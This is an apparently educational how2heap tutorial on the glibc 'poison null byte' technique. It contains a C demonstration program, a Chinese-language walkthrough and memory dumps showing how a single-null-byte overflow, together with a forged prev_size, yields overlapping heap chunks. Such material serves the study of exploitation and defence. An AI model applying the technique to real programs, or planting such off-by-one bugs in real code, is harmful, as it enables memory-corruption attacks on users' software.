how2heap - poison null byte

Overview

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
	fprintf(stderr, "Welcome to poison null byte 2.0!\n");
	fprintf(stderr, "Tested in Ubuntu 14.04 64bit.\n");
	fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;

	fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
	a = (uint8_t*) malloc(0x100);
	fprintf(stderr, "a: %p\n", a);
	int real_a_size = malloc_usable_size(a);
	fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
		"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

	/* chunk size attribute cannot have a least significant byte with a value of 0x00.
	 * the least significant byte of this will be 0x10, because the size of the chunk includes
	 * the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x200);

	fprintf(stderr, "b: %p\n", b);

	c = (uint8_t*) malloc(0x100);
	fprintf(stderr, "c: %p\n", c);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

	// added fix for size==prev_size(next_chunk) check in newer versions of glibc
	// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
	// this added check requires we are allowed to have null pointers in b (not just a c string)
	//*(size_t*)(b+0x1f0) = 0x200;
	fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
		"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
	// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
	// which is the value of b.size after its first byte has been overwritten with a NULL byte
	*(size_t*)(b+0x1f0) = 0x200;

	// this technique works by overwriting the size metadata of a free chunk
	free(b);
	
	fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
	fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
	fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
	fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
	fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

	// This malloc will result in a call to unlink on the chunk where b was.
	// The added check (commit id: 17f487b), if not properly handled as we did before,
	// will detect the heap corruption now.
	// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
	// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
	// next_chunk(P) == b-0x10+0x200 == b+0x1f0
	// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
	fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
		*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
	b1 = malloc(0x100);

	fprintf(stderr, "b1: %p\n",b1);
	fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
		"At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
	fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
		"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
	fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
	// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

	b2 = malloc(0x80);
	fprintf(stderr, "b2: %p\n",b2);

	memset(b2,'B',0x80);
	fprintf(stderr, "Current b2 content:\n%s\n",b2);

	fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

	free(b1);
	free(c);
	
	fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
	d = malloc(0x300);
	fprintf(stderr, "d: %p\n",d);
	
	fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
	memset(d,'D',0x300);

	fprintf(stderr, "New b2 content:\n%s\n",b2);

	fprintf(stderr, "Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
		"for the clear explanation of this technique.\n");
}

Poison Null Byte

这项攻击技术在 Glibc Adventures: The Forgotten Chunk 中描述的很详细。它让 off by one 发挥了作用。这项攻击的目的是让 malloc 分配一个 chunk 与另一个已经分配了的 chunk 相互重叠。

首先分配好 a,b,c 三块 chunk,

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;

a = (uint8_t*) malloc(0x100);
b = (uint8_t*) malloc(0x200);
c = (uint8_t*) malloc(0x100);

0x603000:	0x00000000	0x00000000	0x00000111	0x00000000	-> a
0x603010:	0x00000000	0x00000000	0x00000000	0x00000000
0x603020:	0x00000000	0x00000000	0x00000000	0x00000000
0x603030:	0x00000000	0x00000000	0x00000000	0x00000000
0x603040:	0x00000000	0x00000000	0x00000000	0x00000000
0x603050:	0x00000000	0x00000000	0x00000000	0x00000000
0x603060:	0x00000000	0x00000000	0x00000000	0x00000000
0x603070:	0x00000000	0x00000000	0x00000000	0x00000000
0x603080:	0x00000000	0x00000000	0x00000000	0x00000000
0x603090:	0x00000000	0x00000000	0x00000000	0x00000000
0x6030a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6030b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6030c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6030d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6030e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6030f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603100:	0x00000000	0x00000000	0x00000000	0x00000000
0x603110:	0x00000000	0x00000000	0x00000211	0x00000000	-> b
0x603120:	0x00000000	0x00000000	0x00000000	0x00000000
0x603130:	0x00000000	0x00000000	0x00000000	0x00000000
0x603140:	0x00000000	0x00000000	0x00000000	0x00000000
0x603150:	0x00000000	0x00000000	0x00000000	0x00000000
0x603160:	0x00000000	0x00000000	0x00000000	0x00000000
0x603170:	0x00000000	0x00000000	0x00000000	0x00000000
0x603180:	0x00000000	0x00000000	0x00000000	0x00000000
0x603190:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603200:	0x00000000	0x00000000	0x00000000	0x00000000
0x603210:	0x00000000	0x00000000	0x00000000	0x00000000
0x603220:	0x00000000	0x00000000	0x00000000	0x00000000
0x603230:	0x00000000	0x00000000	0x00000000	0x00000000
0x603240:	0x00000000	0x00000000	0x00000000	0x00000000
0x603250:	0x00000000	0x00000000	0x00000000	0x00000000
0x603260:	0x00000000	0x00000000	0x00000000	0x00000000
0x603270:	0x00000000	0x00000000	0x00000000	0x00000000
0x603280:	0x00000000	0x00000000	0x00000000	0x00000000
0x603290:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603300:	0x00000000	0x00000000	0x00000000	0x00000000
0x603310:	0x00000000	0x00000000	0x00000000	0x00000000
0x603320:	0x00000000	0x00000000	0x00000111	0x00000000	-> c
0x603330:	0x00000000	0x00000000	0x00000000	0x00000000
0x603340:	0x00000000	0x00000000	0x00000000	0x00000000
0x603350:	0x00000000	0x00000000	0x00000000	0x00000000
0x603360:	0x00000000	0x00000000	0x00000000	0x00000000
0x603370:	0x00000000	0x00000000	0x00000000	0x00000000
0x603380:	0x00000000	0x00000000	0x00000000	0x00000000
0x603390:	0x00000000	0x00000000	0x00000000	0x00000000
0x6033a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6033b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6033c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6033d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6033e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6033f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603400:	0x00000000	0x00000000	0x00000000	0x00000000
0x603410:	0x00000000	0x00000000	0x00000000	0x00000000
0x603420:	0x00000000	0x00000000	0x00000000	0x00000000

在新版本的 glibc 中我们需要设置好 chunk b 的 size 域更新来绕过 unlink 中的安全检查 chunksize(P) != prev_size (next_chunk(P))

*(size_t*)(b+0x1f0) = 0x200;

0x603110:	0x00000000	0x00000000	0x00000211	0x00000000	-> b
0x603120:	0x00000000	0x00000000	0x00000000	0x00000000
0x603130:	0x00000000	0x00000000	0x00000000	0x00000000
0x603140:	0x00000000	0x00000000	0x00000000	0x00000000
0x603150:	0x00000000	0x00000000	0x00000000	0x00000000
0x603160:	0x00000000	0x00000000	0x00000000	0x00000000
0x603170:	0x00000000	0x00000000	0x00000000	0x00000000
0x603180:	0x00000000	0x00000000	0x00000000	0x00000000
0x603190:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603200:	0x00000000	0x00000000	0x00000000	0x00000000
0x603210:	0x00000000	0x00000000	0x00000000	0x00000000
0x603220:	0x00000000	0x00000000	0x00000000	0x00000000
0x603230:	0x00000000	0x00000000	0x00000000	0x00000000
0x603240:	0x00000000	0x00000000	0x00000000	0x00000000
0x603250:	0x00000000	0x00000000	0x00000000	0x00000000
0x603260:	0x00000000	0x00000000	0x00000000	0x00000000
0x603270:	0x00000000	0x00000000	0x00000000	0x00000000
0x603280:	0x00000000	0x00000000	0x00000000	0x00000000
0x603290:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603300:	0x00000000	0x00000000	0x00000000	0x00000000
0x603310:	0x00000200	0x00000000	0x00000000	0x00000000	-> prev_size(next_chunk)

free(b);

chunk b 的 size 为 (0x200 + 0x10) | prev_in_use 也就是 0x210,利用 chunk a 溢出单个空字节,即 off-by-one 来影响 chunk b 的 size 域。

int real_a_size = malloc_usable_size(a);

a[real_a_size] = 0;	// off-by-one 漏洞

chunk b 的 size 为 0x200,chunk b 为 free 状态,调用两次 malloc 获得位于 chunk b 位置上的 chunk b1 和 b2(b1 不为 fastbin),一般 b2 (the victim) 将是我们想要控制的有价值的指针的结构。

b1 = malloc(0x100);

b2 = malloc(0x80);

memset(b2,'B',0x80);

0x603110:	0x00000000	0x00000000	0x00000111	0x00000000	-> b1
0x603120:	0xf7dd1d68	0x00007fff	0xf7dd1d68	0x00007fff
0x603130:	0x00000000	0x00000000	0x00000000	0x00000000
0x603140:	0x00000000	0x00000000	0x00000000	0x00000000
0x603150:	0x00000000	0x00000000	0x00000000	0x00000000
0x603160:	0x00000000	0x00000000	0x00000000	0x00000000
0x603170:	0x00000000	0x00000000	0x00000000	0x00000000
0x603180:	0x00000000	0x00000000	0x00000000	0x00000000
0x603190:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6031f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603200:	0x00000000	0x00000000	0x00000000	0x00000000
0x603210:	0x00000000	0x00000000	0x00000000	0x00000000
0x603220:	0x00000000	0x00000000	0x00000091	0x00000000	-> b2
0x603230:	0x42424242	0x42424242	0x42424242	0x42424242
0x603240:	0x42424242	0x42424242	0x42424242	0x42424242
0x603250:	0x42424242	0x42424242	0x42424242	0x42424242
0x603260:	0x42424242	0x42424242	0x42424242	0x42424242
0x603270:	0x42424242	0x42424242	0x42424242	0x42424242
0x603280:	0x42424242	0x42424242	0x42424242	0x42424242
0x603290:	0x42424242	0x42424242	0x42424242	0x42424242
0x6032a0:	0x42424242	0x42424242	0x42424242	0x42424242
0x6032b0:	0x00000000	0x00000000	0x00000061	0x00000000
0x6032c0:	0xf7dd1b78	0x00007fff	0xf7dd1b78	0x00007fff
0x6032d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x6032f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x603300:	0x00000000	0x00000000	0x00000000	0x00000000
0x603310:	0x00000060	0x00000000	0x00000000	0x00000000

现在,free b1 和 c 使 b1 和 c 合并(忽略掉 b2)

free(b1);
free(c);

malloc 一块大于 b1 大小的 chunk,使 b2 与 b1 相互重叠。

malloc(0x300);

运行结果:

poison_null_byte